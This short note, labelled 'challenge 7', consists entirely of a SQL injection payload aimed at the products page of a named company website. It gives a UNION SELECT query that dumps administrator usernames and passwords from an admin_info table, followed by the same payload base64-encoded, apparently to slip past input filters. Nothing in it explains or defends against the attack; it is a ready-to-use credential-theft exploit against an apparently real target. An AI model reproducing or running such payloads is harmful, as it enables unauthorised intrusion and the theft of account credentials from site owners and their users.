challenge 7

Not encode with base 64,
http://www.jrrgroupofcompanies.com/products.php?cat=1' UNION SELECT 1111,2222,3333,4444,5555,6666,group_concat(0x3c666f6e7420636f6c6f723d7265643e,'::KpZ::',0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,'username:',uname,0x3c62723e,0x3c666f6e7420636f6c6f723d626c75653e,'Password::',pwd),null,9999 from admin_info-- -

Encode with base 64

http://www.jrrgroupofcompanies.com/products.php?cat=MScgVU5JT04gU0VMRUNUIDExMTEsMjIyMiwzMzMzLDQ0NDQsNTU1NSw2NjY2LGdyb3VwX2NvbmNhdCgweDNjNjY2ZjZlNzQyMDYzNmY2YzZmNzIzZDcyNjU2NDNlLCc6OktwWjo6JywweDNjNjI3MjNlLDB4M2M2NjZmNmU3NDIwNjM2ZjZjNmY3MjNkNjc3MjY1NjU2ZTNlLCd1c2VybmFtZTonLHVuYW1lLDB4M2M2MjcyM2UsMHgzYzY2NmY2ZTc0MjA2MzZmNmM2ZjcyM2Q2MjZjNzU2NTNlLCdQYXNzd29yZDo6Jyxwd2QpLG51bGwsOTk5OSBmcm9tIGFkbWluX2luZm8tLSAt